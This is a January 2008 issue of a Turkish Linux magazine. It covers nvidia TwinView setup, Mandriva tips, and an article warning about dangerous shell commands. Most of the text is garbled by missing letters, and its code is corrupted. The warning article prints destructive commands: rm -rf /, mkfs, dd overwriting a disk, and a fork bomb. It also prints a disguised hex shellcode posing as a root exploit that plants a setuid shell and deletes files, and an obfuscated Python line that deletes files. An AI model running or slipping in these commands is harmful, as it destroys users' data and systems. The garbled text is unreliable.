Linux v açık k aynak k od u yazı ım, h rk s in ih tiyacına gör k u andığ ı buna k şı ık y t n ğ in gör k atk ıda bu unduğ u m k v bi gi pay aşım ının n güz örn ğ idir. nixm a Sayı: 16 O cak 2008 Ek : 2008 nixm a Tak vim i nixm a Yı2 Sayı 4 O cak 2008 - nvidia Tw invi w T h ik i Kom ut M andriva İpuç ı - I G ub untu W zon 2100 Vdrift K ab uk Program am a - XIV Pic İ Trafik Işık ı 2008
/BAŞ LANGIÇ H oşg din 2008 Bitirdiğ im iz yı 2007 özgür yazı ım v Linux açıs ından i ginç g işm rin d o duğ u v rim i bir yıo du. Linux'un h ız ı g işim inin s onucu o an ı, program ın y ni rinin h ız a çık m as ını, dağ ıtım ın y ni s ürüm rinin y ni ik r do u o ak çık m as ını, bir k na bırak ırs ak, öz ik tici yazı ım firm a ının 'acık k aynak g iştirm m od ini' dah a faz a b nim s m ri v bunun g r ğ i o ak Linux v açık k aynak k od u yazı ım a dah a faz a d s t k v rm ri ön m i o ay as ında s ayı abi ir. Bu b k i d g c ğ i, 2008'd o abi c k ri tk i y bi c k n ön m i o ay dan s ayı abi ir. Linux v özgür yazı ım ın ön m i h d fi o ak m as aüs tünd yaygın aşm as ı v bunun için b ir i bir şiğ in aşı m as ı acaba 2008'd g rç k ş bi c k m i?bu s oru, s on zam an dak i g işm r bak ı dığ ında tık dah a faz a v dah a yük s k s s di g tiri ir o m aya baş andı. Bunun 2008'd g rç k şip g rç k şm y c ğ ini, ya da n ö çüd g rç k ş bi c ğ ini b tt tam o ak bi m yiz. Ancak g işm r bu şiğ in aşı m as ının h r zam ank ind n dah a da yak ın o duğ unu gös t riyor. Kşı c ph nin id r firm as ı öz ik Avrupa yas a a ı k şıs ındak i s ık ışık ığ ından k urtu m ak için ind n g ni yapıyor. Yin d yak ın zam anda Sam ba için g r k n s tandt ı açm a k onus unu günd m g tirm k zorunda k a dı. Kıs a bir s ür önc s ind d O D F açık ofis v ri s tanddının k şıs ına k ndi s tanddını k oym aya ça ıştı v i k aşam ada k azanam adı. B k i i k anda fk di m s d ön m i bir g işm s ubnot book - k üçük dizüs tü bi gis ay a anında yaşanm ak ta. O LPC, As us E gibi ürün r Linux yük ü o ak bu a anı g çirm iş durum a g di. As ında bu bütün bi gis ay a önyük ü g n iş tim s is t m i için s anı dığ ından da büyük bir o ay o ak düşünü bi ir. Bu m a um firm anın h r tür ü yo u k u anak o uşturduğ u 'güv n ik k a k anı'nın d indiğ i an am ına g iyor. Subnot book ' ın yanıs ıra norm adizüs tü bi gis ay da da D gibi firm a ın Linux önyük ü s ç n ğ ini s unm as ı da buna k n bi ir. 2008'd bu yön im m uh t m n yavaş bi o s a da d vam d c k tir. D ng nin d ğ işm s i, m üs aüs tünd Linux'un g işm s in bağ ıdır. Son zam an ın n m rak a b k n n yazı ım ı KD E4'ün çık m as ı, ç k ird k g iştirici rin günc donanım a h r zam ank ind n dah a h ız ı v tam o ak d s t k v r bi m s i v b nz ri g işm r bunu h ız andıracak gibi görünüyor. M as aüs tü bir iş tim s is t m inin yaygın aşm as ı için n ön m i h d ftir. Linux bu şiğ i aşs a tık tutu am az. 2008 yı ı nixm a i g çiri n ik inci yı başı o uyor. G ç n s n o duğ u gibi bu s n d s iz r y ni yı ın tak vim ini v riyoruz. Son üç s ayfada y r a an tak vim i üç A4 k ağ ıda yazdırıp üs t üs t y r ştirm niz g r k iyor. Linux'un bazı durum da şaşırtıcı öz ik r s ah ip o duğ u görü ür. Eğ r s is t m inizd ik i k ran k tı vs a bun ı ik i k ran için k u anabi irs iniz. Bir d ğ r bir nvidia k tınız vs a yin ik i m onitörü k u anabi irs iniz. Bunun nas ıyapı dığ ını is nvidia Tw invi w yazıs ında bu acak s ınız. Linux'ta k ons o un gücünü tık bi m y n k a m am ıştır. Ancak bu gücü dik k at k u anm azs anız h iç b k m diğ iniz ş y r k şı aşabi irs iniz. Öy k om ut v k i, bir anda tüm s is t m iniz v da d bi irs iniz. 'T h ik i Kom ut ' yazıs ını ok uduk tan s onra, n d n Linux'ta n yük s k y tk iy s ah ip root o ak grafik ortam ı k u anm am anız g r k tiğ ini dah a iyi gör bi irs iniz. H r n k ad k uru um u v k u anım ı n k o ay dağ ıtım dan o s a da M andriva için bazı ay ın 'bi inm y n zordur' diy r k y nid n a ınm as ını M andriva İpuç ı s ris inin i k ind bu acak s ınız. Ubuntu as ında bir dağ ıtım ai s inin i k ak a g n adı. En igh t nm nt is grafik öz ik ri ağ ır ık ı bir m as aüs tü ortam ı. Bu ik is inin bir şim i G ubuntu dağ ıtım ının doğ m as ına n d n o du. Bu dağ ıtım ın tanıtım ını G ubuntu yazıs ında bu acak s ınız. Bu ay nixm a'da oyun m rak ı ını s vindir n ik i oyun y r a ıyor. İ k oyun bir tak tik v s trat ji oyunu o an W zon 2100. G c k t nük r s avaş s onras ı f ak t dünyas ında s avaş ı k onu a ıyor. 3 boyut u grafik ri i a ışk an ık yatıcı bir oyun. İk inci oyun is, Linux'ta otom obi yışı d ninc i k ak a g n oyun o an Torcs 'tan s onra, g işm iş bir fizik m otoruna s ah ip, yin g işm iş grafik r s ah ip bir başk a otom obiyışı: vdrift. Ancak k u anım ı çok dah a zor. Bu öz iğ i i bir oyundan çok g rç k bir s im ü as yon o ak düşünü bi ir. Program am a yazı ım ız k abuk program am ada aw k v Pic program am a a anında bas it bir örn k i d vam diyor. Pic i trafik ışık ı. nixm a k ibi o ak tüm özgür yazı ım taft ına s ağ ık ı, m ut u v başı ı bir yıdi riz. nixm a O cak 2008 Sayfa 2
/ENIX M A nixm a /Başangıç 2 Baş k n /Oyun 18 H oşg din 2008 /Donanım 4 Ü ç boyut u s trat ji oyunu 20 /Sistm 6 /Programaama/Kabuk/Bash 26 /Dağıtım/Kuanım 9 /Programama/Pic 37 /Dağıtım/Tanıtım 13 G ub untu En igh t nm nt i Ubuntu Pic İ Trafik Işık ı Ko ay bir tas ım. M andriva İpuç ı - I Sık ça s oru an s oru. K ab uk Program am a: Bas h - XIV M tin dos ya ı i ça ışm ak - Son T h ik i K om ut Bi in am a s ak ın k u anm ayın! Vdrift Z oru s v n r... nvidia Tw invi w T k bi gis ayda ik i m onitör. W zon 2100 /Habrr 45 Linux D ünyas ından H ab r r /Ek: 46 2008 nixm a Tak vim i M ut u yı. nixm a, Linux ortam ında, gim p, s cribus gibi tam am n açık k aynak k od u program k u anı ak h azır anm ak tadır. Tüm öz ik ri i n iyi k pdf program ı i k u anı abi ir. Ku anıcıya k o ay ık için h r s ayfanın s ağ a tında y r a an g zdir n i iç rik s ayfas ı, önc k i k onunun başı, ok unan k onunun başı v s onrak i k onunun başına gidi m s i s ağ anm ıştır. nixm a, başta Linux v GNU program ı o m ak üz r, açık k aynak k od u özgür iş tim s is t m ri v yazı ım ı h ak k ında h rk s in bi gi rini özgürc pay aşabi c ğ i bir k tronik bi gi pay aşım acıdır. Ay ık p riyoda s ah iptir. H r ayın 1. günü y ni nir. nixm a, GFD L(GNU Fr D ocum nt Lic nc - GNU Özgür B g Lis ans ı) is ans ına s ah iptir. Y r a an yazı ın is ans ı ayrıca b irti m dik ç GFD L is ans ına s ah ip o acak dır. Yaz GFD L ya da Cr ativ Com m ons is ans ından birini s ç bi ir r. Y r a acak program k od ı GPL/LGPL is ans ına s ah ip o acak tır. Bağ antı ı o ak açı acak int rn t s it s ind y r a an yazı, dos ya, program ya da program k od ı GPL/LGPL/GFD L/CC is ans ına s ah ip o acak tır. nixm a'da y r a an yazı ın tüm h ak ı v s orum u uk ı GFD L t m ind yaz ına aittir. İç rik t bu unan bi gi rin k u anım ından do ayı o uşacak h r tür ü s onuç k u anıcıya aittir. GFD L is ans ına k o ak nixm a'da y r a an yazı ın üz rind h içbir k işi, aç, s unucu ya da k urum tam am ını ya da bir k ıs m ını bu undurm as ı n d niy h içbir h ak iddia d m z.,, öz ik rin s ah ip is im v b nz r ri için bu iş t r b irti m s d b irti m iş o ak vs ayı m a ıdır. Sayfa 3
/D O NANIM nvidia Tw invi w nvidia Tw invi w T k b i gis ayda ik i m onitör Eğ r k u anm adığ ınız faz adan bir m onitörünüz vs a v Nvidia k ran k tınıza ik i m onitörünüzü d bağ ayabi irs niz, k u anm adığ ınız m onitörünüzün can anm a vak ti g m iş d m k tir. İk inci m onitörünüzü çoğ a tıcı, çift çık ış ı k ran k t ı v ya aptop ın proj k tör çık ış ı s ay s ind bağ ayabi irs iniz. Bu yazım ızda Nvidia Linux s ürücüs ünün Tw invi w öz iğ i s ay s ind ik i m onitörü nas ı t k m onitör gibi k u abi c ğ inizi an atacağ ız. Sürücüyü K urun Önc ik Nvidia s ürücünüzün k uru u o m as ı g r k iyor. Ku andığ ınız dağ ıtım ın pak t yön tim s is t m ind n am a yapak dağ ıtım ınıza öz h a ini k o ayca k urabi irs iniz. Nvidia-s ttings acı s ürücü pak tinin içind g bi ir am a s ürücü pak tiy çık m ıyors a ayrıca k urm anız g r k. A t rnatif yoo ak w w w.nvidia.com 'dan indir bi c ğ iniz ".run" dos yas ı i k uru um yapabi irs iniz. Kuru um un dından bi gis ayı y nid n baş atıp s is t m iniz nvidia s ürücüs ü k u anı ır h a g dik t n s onra, diğ r m onitörü d bağ ayabi irs iniz. Ça ışm aya Baş ayın Önc ik com piz taban ı bir p nc r yön ticis i k u anıyors anız (com piz, b ryv ya fus ion), k apatm anız g r k iyor. K as ik p nc r yön ticiniz dönm k için kwin --rpac mtacity --rpac R s im 1 - nvidia-s ttings program ı i ay (KDE için) vya (GNOME için) k om ut ını k u anabi irs iniz. X açık k n g çici o ak çift m onitör ça ışm ak için, nvidia-sttings k om utu i Nvidia KontroPan i'ni açtık tan s onra (m onitörün açık o duğ undan m in o un), "X S rv r D is p ay Configuration" s k m s i a tından "D d ct D is p ays " s ç n ğ ini tık ayıp s is t m in ik inci m onitörü a gı am as ını s ağ ıyoruz. Yuk dak i öniz m p nc r s ind n y ni m onitörü s çip, a t taftan "Configur " s ç n ğ inin a tında "Tw invi w "i s çiyoruz. Artık "R s o ution" bö üm ünd n m onitörünüzün çözünür üğ ünü v fr k ans ını, "Pos ition" bö üm ünd n m onitörün i k m onitörünüz gör y rini ay ayabi irs iniz. İnc ay için öniz m pan ind m onitör ri s ürük y bi irs iniz. G r k i ay am a ı yaptık tan s onra "App y" tuşuna bas ak ay ı tk in h a g tiriyoruz. Sayfa 4
/D O NANIM nvidia Tw invi w Ay ı K ayd din Ku andığ ınız ay ı k ayd tm k v h r zam an ik i m onitör k u anm ak is t rs niz Nvidia-s ttings 'i root o ak açıp "Sav to X Configuration Fi " i k ayd tm yi d n y bi irs iniz. Tabi dağ ıtım a bağ ı s orun çık abi c ğ ind n "xorg.conf"dos yanızın y d ğ ini a m a ıs ınız. Yin d n iyi yönt m "xorg.conf"dos yanızı ay am ak tır. Bunun için önc ik dos yanın içind k i m onitör s unucu ını ay am a ıyız. Ön m i bazı s atır şöy d ğ iştirin: Sction "SrvrLayout" Scrn Scrn... "Dfaut Scrn" Absout 0 0 "Extrna Scrn" Absout 0 0 Örn ğ in çık tıda "01:00.0" num as ını görürs niz, ay dos yanızda i gi i bö g şöy o m a ı: Sction "Dvic" BusID Drivr... Sction "Monitor" Idntifir "Monitor0"... Sction "Monitor" Idntifir "Extrna Monitor"... Sction "Scrn" Idntifir... "Dfaut Scrn" Sction "Scrn" Idntifir... "Extrna Scrn" "PCI:1:0:0" "nvidia" Ardından m onitör rinizin k apas it s in gör Tw invi w "M tam od s " d ğ r rini ay am a ıyız. Ek t ( nixm a k ri as ında) v ri n örn k dos ya da bazı ça ışan m tam od s ay ını v ait o duk ı m onitör rin öz ik rini bu abi irs iniz. Bu d ğ r ri s iz uygun o ak girdik t n s onra, ik inci m onitörüm üzün tak ı ı o duğ undan m in o up X'i y nid n baş atacak s ınız. O turum u k apatıp açtığ ınızda ik inci m onitör ça ışm adığ ı tak dird s k i ay a d vam d c k tir. Bu yüzd n "Ctr+ A t + Back s pac "tuş ını k u anın. Görü düğ ü gibi ik i m onitör v k ran tanım adık. Eğ r ik i k ran k tınız vs a bunun gibi ik i tanım girm m iz g r k iyor. Eğ r ik inci m onitörünüzü tam am n fk ı bir k ran gibi k u anm ak is tiyors anız "S p rat X Scr n" s ç n ğ ini k u anm anız g r k. Ay am as ı biraz dah a zor o s a da bu ş k i d k ran ı birbirind n bağ ım s ız o ak is t diğ iniz gibi k u anabi irs iniz. Ardından "M tam od s " öz iğ i acı ığ ıy a Tw invi w i k u anacağ ım ız m onitör v k t ı ay ıyoruz. spci grp nvidia Kom utu i k ran k tının k u andığ ı pci yuvas ının num as ını a ıyoruz. Gürk an Gür <gurk an@ nixm a.org> Sayfa 5
/S ISTEM T h ik i K om ut T h ik i K om ut Bi in am a s ak ın k u anm ayın! Linux'ta k ons oçok güç ü bir açtır. Bir d bunun k u anım ında n y tk i i k u anıcı o an 'root' y tk i rin s ah ips niz inizd 'yan ış ık a' tüm s is t m inizi yok d c k bir s i ah tutuyors unuz d m k tir. Bazı k om ut is 'root' y tk i ri o m as a v s is t m in g n in h as v rm s d k u anıcının h rş yini yok d bi ir. Ancak bu s öy n n r bak ıp paniğ d k apı m am ak g r k ir. H rş yd n önc, n yaptığ ını bi n bir Linux k u anıcıs ı için Linux n güv n i v güv ni ir iş tim s is t m idir. En azından h rş y s izin k ontro ünüz a tındadır v s iz yan ış yapm azs anız yan ış bir ş y o m az. O ys a W indow s ai s ind k ontros izd n k o ay ık a a ınabi ir v iş r s pa s abi ir v öy d o m ak tadır. Öz ik s is t m üz rind, dos ya a iş m yapan k om ut potans iy o ak t h ik i v dik k at k u anı m as ı g r k n k om ut dır. 'rm ' (r m ov ) k om utu s i m iş m i yap. Bu k om ut i i gi i o ak i k bi inm s i g r k n, grafik ortam da k u anı an b nz ri iş m in ak s in bu iş m s onucunda s i in n dos ya ın 'çöp ' atı m am as ı tam am n s i inm s idir. Bu ş k i d s i in n dos ya ın g ri g tiri m s i is o duk ça zah m t i v ris k i o m ak tadır. (Bak ınız nixm a Ara ık 2007 - Ph otor c İ V ri Kurtm a). Ancak böy durum için m od rn birçok dağ ıtım da tanım anan 'a ias ' s ay s ind aşağ ıdak i gibi bir k om ut giri diğ ind s iz k o ak bir uyı yapı m ak tadır. [tanju@ktronist dnm]$ rm * rm: norma boş dosya `dnm1.txt' siinsin mi? rm: norma boş dosya `dnm2.txt' siinsin mi? rm: norma boş dosya `dnm.txt' siinsin mi? [tanju@ktronist dnm]$ s [tanju@ktronist dnm]$ Kom utu bu uyı ı v rm y c k ş k i d Bunun için -f pam tr s ini k u anırız. [tanju@ktronist [tanju@ktronist [tanju@ktronist [tanju@ktronist dnm1.txt dnm2.txt [tanju@ktronist [tanju@ktronist [tanju@ktronist dnm]$ touch dnm]$ touch dnm]$ touch dnm]$ s dnm.txt dnm]$ rm -f dnm]$ s dnm]$ d k u anm ak m üm k ündür. dnm.txt dnm1.txt dnm2.txt * Görü c ğ i gibi bu durum da s is t m biz uyı v rm d n o uşturduğ um uz üç dos yayı da s i di. Örn ğ im izi dah a da i ri götür r k bu unduğ um uz dizin a tında başk a dizin rin o duğ unu da vs ayabi iriz. Bu durum da 'rm *' k om utu i a t dizin rin iç ri v k ndi ri s i inm y c k tir. Ancak bu dizin r k om utta doğ rudan b irti r k ya da iç rin giri r k 't m iz ndik t n' s onra 'rd' i s i in r k bu unu an dizin tam am iy boşa tı abi ir. Bu durum u 'k o ay aştırm ak ' için d im izd bir pam tr b tt m vcuttur. Kom utu aşağ ıdak i gibi k u anırs ak a t dizin rd k i r d s i in c k tir. [tanju@ktronist dnm]$ s dnm.txt [tanju@ktronist dnm]$ rm dnm.txt rm: norma dosya `dnm.txt' siinsin mi? [tanju@ktronist dnm]$ s [tanju@ktronist dnm]$ B nz ri uyı rm i *pam tr s i k u anı dığ ında da k şım ıza çık. rm -r * [tanju@ktronist [tanju@ktronist [tanju@ktronist [tanju@ktronist dnm1.txt dnm2.txt dnm]$ touch dnm.txt dnm]$ touch dnm1.txt dnm]$ touch dnm2.txt dnm]$ s dnm.txt Bu ş k i d k u anım da yin s i inm iş m ind uyı v ri c k v dos ya t k r t k r onay anak s i in c k tir. Bunu da 'k o ay aştırabi iriz'. rm -rf * Sayfa 6
/S ISTEM T h ik i K om ut Bu k om utu uygu adığ ım ızda biz uyıda bu unm adan s i m tam am anacak tır. Bu k om utu üç fk ı ş k i d k u anabi iriz. iş mi rm -rf * rm -rf. rm -rf / İ k k om ut i m vcut dizind v a tındak i 'görü bi ir' dos ya ın tüm ünü, ik inci k om ut m vcut dizin v a tındak i h rş yi v s on k om ut is Linux dos ya s is t m inin 'k ök ü' o an / v a tındak i h rş yi, yani s is t m inizd k i h rş yi s i r. E b tt bu k om ut için k u anıcı h ak ının 'uygun' o m as ı g r k ir. Bu k om ut dan ya nızca i k ik is i k u anıcının k ndi dizininin içind norm ak u anıcı h ak ı i g ç r i ik n s on k om utun ça ıştırı m as ı için 'root' o m ak g r k ir. 'rm ' k om utu bu k onuda ya nız d ğ i dir b tt. Form at am a yapan m k fs k om utu da dik k at k u anı m as ı g r k n bir k om uttur. Bu k om ut s is t m iniz ça ışırk n, ça ışm ak ta o an s is t m a an ı için d iş m yapacak tır. Yan ış bir pam tr v uygu am a i bir anda s is t m iniz buh o up gid bi ir. Aşağ ıdak i k om ut ın dından v ri c k cih az pam tr ri (/d v/s dc, /d v/h da...) i b irti n cih az a bir r 'boş' dos ya s is t m i y r ş c k tir. mkfs mkfs.xt3 'm k fs ' (M ak Fi Sys t m ) k om utu as ında a dığ ı k pam tr rd b irti n dos ya s is t m ini k urm ak için bir 'acı' k om uttur. İk inci s atırda o duğ u gibi k adan g c k h d f a ana xt3 dos ya s is t m i k uru acak, 'form at anacak 'tır. Bu ş k i d h angi k om ut o duğ u ön m i o m adan çık tıyı /d v/h da cih azına yani i k s abit dis k im izin başındak i i k bayttan itib n o an bö üm yazm ış o acağ ız. O ys a burada b ir i form atta o m as ı g r k n 'boot s k törü' v b nz ri v ri r bu unm as ı g r k m k t dir. G işigüz o ak yazı an bu v ri r s abit dis k im izi bir anda 'k u anı am az' h a g tir c k tir. H m n b irt im bu iş m s abit dis k im iz fizik s bir z v rm z v ğ r bir ş k i d v ri ri k urtm am ız m üm k ün o m azs a, 't m iz' bir s abit dis k o ak k u anı abi ir h a g tir bi iriz. # dd if=/dv/zro of=/dv/hda bs=1000 count=1000 Yuk dak i k om ut i bir başk a 't h ik i' k om utu k u anak dis k im izin baş angıç bö üm ünü 't m iz y bi iriz'. i k s abit Ya bu k om utu da 'yan ış ık a' k u anırs ak... Az önc k i '> ' i yön ndirm iş m ind o duğ u gibi h rh angi bir v riyi dd i bir cih aza, m s a /d v/s da o ak bu unan i k s abit dis k yo s ak yin iş ri 'k ıştırırız'. dd if=hrhangi_bir_şy of=/dv/sda Bu k om ut i yuk dak i r b nz r ş k i d h rh angi_bir_ş y /d v/s da'ya gönd ri r k i k başa yazı acak tır. Bir başk a t h ik i iş m is 'Fork Bom bas ı' o ak tabir di n v uygu andığ ında s ayıs ız s ür ç baş atak s is t m i 'boğ an' bir k om ut k u anm ak tır. Bu iş m s onucunda s is t m c vap v r m z h a g bi ir v t k ç o ak s is t m k apatı dığ ında v ri k ayıp ından tutun da b irs iz birçok iş m k ad ç şit i 'h as ' i k şı aşabi irs iniz. Bas h gibi bir k abuk ortam ında aşağ ıdak i 'k om utun' k u anı m as ı i b nz r bir s onuç d di ir. :(){: :&};: B nz ri o ak 'h am ' v ri üz rind ça ışan k om ut ın 'yön ndiri m ri' d t h ik i s onuç doğ urabi ir. Kom ut s atırından h rh angi bir k om utun çık tıs ını '> ' i b ir i bir cih aza yön ndir bi iriz. Bu yön ndirm nin bir öz iğ i gönd ri n v rinin cih azın i k bö üm ün yazı m as ıdır. K ndi yapıs ı i uygun o up o m am as ına bak m adan 'h am ' v riyi k abu d n cih az da bu b k nm dik s onuç a yoaçacak tır. hrhangi_bir_komut > /dv/hda P riçin is aşağ ıdak i k om ut y t r idir. fork whi fork Linux k ura a uyu duğ u v dik k at i davranı dığ ı durum da çok güv n i bir iş tim s is t m idir. Ancak ak s i h k t r bunu yık abi ir. Yuk da b irti n 't h ik i' k om ut k ontro ünüz dışındak i k aynak dan g irs n o ur?e b tt s is t m inizd 'b k n n' h as m ydana g ir. Bu n d n Sayfa 7
/S ISTEM T h ik i K om ut güv ni m y n v b irs iz k aynak dan iniz g ç n h içbir ş yi k u anm am a ıs ızın. H h bu bir program pak ti ya da bir b tik is on k at, yüz k at dah a dik k at i o m anız g r k ir. Bugün b i baş ı Linux dağ ıtım ının k ndi pak t d po ı bu unm ak tadır. Bu d po a gir n pak t r çok dik k at i inc m rd n g çm iş v güv n i o duk ı t s pit di m iş pak t rdir. Kuru um s ıras ında ğ r s is t m iniz k bir güv n ik t s ti yapabi iyors a dah a da güv n i h a g ir r. (rpm pak t rind o duğ u gibi). En iyi k ura 'Güv nm iyors an v şüph n vs a, k u anm a' k ura ıdır. Kaynağ ına güv nm diğ iniz h içbir ş yi k u anm ayın. Güv ni ir k aynak dan d d c ğ iniz h r tür ü pak tin d güv n ik t s tini yapm ayı ih m a tm yin. Yuk da bah s di n dağ ıtım ın d po ı k ndi güv n ik s is t m rin s ah iptir r. G r k d po ın d n tim i g r k s ora dan d di c k pak t rin d n tim i için g r k i aç bu unm ak tadır. En bi in n t s t rd n biris i m d5s um t s tidir. İndirdiğ iniz is o dos ya ını bu t s tt n g çirm d n k u anm ayın. Baz n i k anda görü m y n t h ik r i k şı k şıya k a abi irs iniz. Aşağ ıdak i k od buna bir örn k o ak a ınabi ir. Bu k od böy bir k avram ı is pat tm k için yazı m ıştır. Ku anıcıya bu k od ça ıştırı dığ ında s udo tafından k ons o o m adan 'root' y tk i rin s ah ip o acağ ı b irti m k t dir. E b tt as ında bu bir k andırm acadır. ch sp[] attribut ((sction(".txt"))) /*.s.p ras */ = "\xb\x3\x5b\x31\xc0\x50\x54\x5a\x83\xc\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xb\xf9\x8\xbd\xff\xff\xff\x2f\x62\x69" "\x6\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.byond; chmod 4755 /tmp/.byond;"; As ıda bu yuk dak i r k om ut s atırında an am ak p k m üm k ün d ğ i dir. Söy ni n k anıp da bunu ça ıştıran, k u anıcı h ak ına gör ya k u anıcı ana dizin rind n yada root o ak ça ıştırı dıys a tüm s is t m d n o acak dır. Kandırm a iş m i için çok yobu unm ak tadır. Yuk dak i s ad c bir örn k tir. En iyis i güv nm diğ iniz, k aynağ ını v n yapacağ ını bi m diğ iniz h içbir ş y dok unm am ak o acak tır. Aşağ ıdak i örn k d yin b nz ri bir k andırm ayı bu s f r pyth on di ind yapm ak tadır. python -c 'import os; os.systm("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' Bu iş m in s onucu da rm -rf *i aynı o acak tır. Linux'ta yaygın o ak k u anı an v ri pak ti s is t m rinin başında t pak t ri g ir. Bu pak t rin içind n o duğ una bak ı m ak s ızın k u anı m a ı baz n t h ik i ya da is t nm y n s onuç a n d n o abi ir. Bir y rd n d di n t pak tini bu unduğ u dizin açm ak bu 'h ata' ın başında y r a m ak tadır. Ku anı an t pak ti içind n çık acak dos ya ya da dizin r i aynı açı acağ ı dizind aynı is im d v o abi c k dos ya yada dizin r bu unurs a bun ın üz r rin yazı acak tır. Bu n d n t pak t rini açm adan önc boş bir dizin a ınm a ı pr ns ip o ak i k t rcih di n o m a ıdır. Sık ıştırı m ış ş k i i t pak t ri t.gz ya da t.bz2 pak t rinin açı m as ında 'd com pr s yon - g niş tm ' iş m i uygu anır. Bazı durum da s ık ıştırm a oran ı çok yük s k o abi ir. Sonuçta g niş ti n v açı an pak tt n çık an s is t m d bu unan a anı tam am n do durabi ir. Böy durum için is m üm k üns açı dık tan s onra n k ad y r k ap ayacak ına bak m ak v s is t m iniz y t rs iz k a acak s a bu pak t ri açm am ak n iyis i o acak tır. Y anı an k aynak : h ttp://ubuntuforum s.org/announc m nt.ph p?a=54 rm -rf ~/ & iş m ini yaptırm ak tadır. E b tt bun ı v ri b oğ u içind k i h x bi gi rd n Tanju Taşçı <tanju@ nixm a.org> Sayfa 8
/D AĞ ITIM /K ULLANIM M andriva İpuç ı - I M andriva İpuç ı - I Sık ça s oru an s oru Pak t K aynak ı - D po - Pak t Kaynak ı - D po - nvidia v Ati s ürücü ri - O n CD Kuru um unu Türk ç ştirm M andriva Linux 2008 s ürüm ü i başı ı bu undu v birçok k u anıcının b ğ nis ini k azanak bu dağ ıtım ı k u anm as ına n d n o du. Çık ış n d ni v h d fi o an 'k u anıcı için k o ay k uru um u v k u anım ı Linux dağ ıtım ı' o m a öz iğ i n d niy tık k uru um da p k s oruna ras t anm ıyor v i k d fa Linux k uran bi M andriva Linux'u k o ay ık a k urabi iyor. Kuru um s onras ı h r n k ad s is t m h m n k u anı abi ir durum da o s a da, k u anıcının is t k v k u anım am acı doğ ru tus unda bazı ay am a yapm as ı g r k bi iyor. Bun a öz ik 'Fr - Özgür' biçim ri i k uru um da g m y n 'k apa ı k aynak k od u' s ürücü r d k niyor. Öz ik 2006 s ürüm ünd n bu yana g rç k ş n d ğ işik ik v g iştirm r s onucunda M andriva Linux k u anıcı için çok dah a uygun v k o ay ık a do u s ürüm r çık m aya baş adı. Ancak 'bi inm y n zordur' diy r k bi indiğ ind çok k o ay o an birk aç iş m in biraz dah a 'k o ay an aşı ır' an atım ını yapacağ ız. M andriva 2008 i int rn t pak t k aynak ını k m k için yapacağ ınız çok öz bir iş m bu unm uyor. Pak t yön tim program ını i k d fa ça ıştırdığ ınızda v int rn t bağ antınız o duğ u durum da k o ay ık a is t diğ iniz yans ıyı s çm nizi s ağ ayan ydım cı i iş m r yapı ıyor. Burada i k başta yapacağ ınız günc m k aynak ı ya da s is t m k aynak ı s çim iniz bağ ı o ak ya s ad c günc m k aynak ı ya da bütün k aynak s çtiğ iniz yans ıdan t m in di c k ş k i d ay anıyor. H ps i bu! R s im 2 - Günc m ap ti m dyas ı i bir ik t s unm ak tadır. Ancak 4.3 GB' ık D VD bi int rn t üz rind k i M andriva d po ında y r a an 20 GB'tan faz a y r tutan R s im 1 - K aynak s ti s çim i Günc m k aynak ı ay andık tan s onra, s is t m t ps is ind bu unan günc m acı, bi gis ayınız h r açı dığ ında, ya da s izin is t ğ iniz üz rin m vcut günc pak t o up o m adığ ını k ontro diyor v s iz görs o ak durum u i tiyor. Norm ak u anım için y t r i o an bu ay ın dışında bazı inc ay da g r k bi iyor. M andriva Linux 2008, öz ik D VD k aynağ ından k uru duğ unda, Linux k u anıcı ının çoğ un uğ u için y t r i m ik tda pak ti k uru um R s im 3 - Ay anm ış s is t m k aynak ı Sayfa 9
/D AĞ ITIM /K ULLANIM M andriva İpuç ı - I pak t rin ancak bir k ıs m ını o uşturm ak tadır. M andriva Linux m rk zi pak t d pos u o an bir dağ ıtım dır. Bunun s onucu o ak M andriva Linux k u anıcı ının h m n h m n bütün ih tiyaç ı bu d po dan k şı anabi ir durum dadır v orada burada program pak ti am ak durum unda d ğ i dir r. İnt rn tt k i pak t k aynak ını n d n k u anırız? İ k o ak yuk da bah s di diğ i gibi k uru um m dyas ında bu unm ayan pak t r d u aşabi m k için. İk incis i is k uru u pak t rim izin zam an içind çık an güv n ik, h ata gid rm v y ni m n d n i günc m ri için. Bir üçüncü n d n o ak da, 'Fr - Özgür' bir m dya i yapı an k uru um da y r a am ayan pak t r u aşabi m k için. R s im 4 - as yurpm i i k adım M andriva 2008 i bir ik t pak t d po ı üç bö üm o ak k şım ıza çık m ak ta: M ain, Contrib v Non-Fr. M ain a anı tam am ı M andriva g iştirici ri tafından h azır anm ış o an pak t ri, contrib a anı M andriva k u anıcı ı tafından h azır anm ış o m ak a bir ik t M andriva g iştirici ri tafından d n t n n pak t ri v s on o ak Non-Fr d po ı, tüm k u anıcı a açı an ' is ans ı GPL o m ayan' pak t ri bu unduran k aynak dır. Buraya k ad bah s di n k aynak a, bazı ü k rd k i yas as orun n d niy M andriva tafından r s m n d s t k n m y n k aynak da bu unduru m as ı g r k n pak t rin y r a dığ ı PLF (P nguin Lib ration Front) k aynak ını da k m k is t rs niz, as yurpm i ydım cıs ını k u anm anız g r k c k tir. Bu aca R s im 5 - as yurpm i ik inci adım h ttp:// as yurpm i.zb.org adr s ind n u aşabi irs iniz. Yapacağ ınız s çim r s onucunda s iz root o ak k ons o dan gir c - R s im 6 - as yurpm i s onuç Sayfa 10
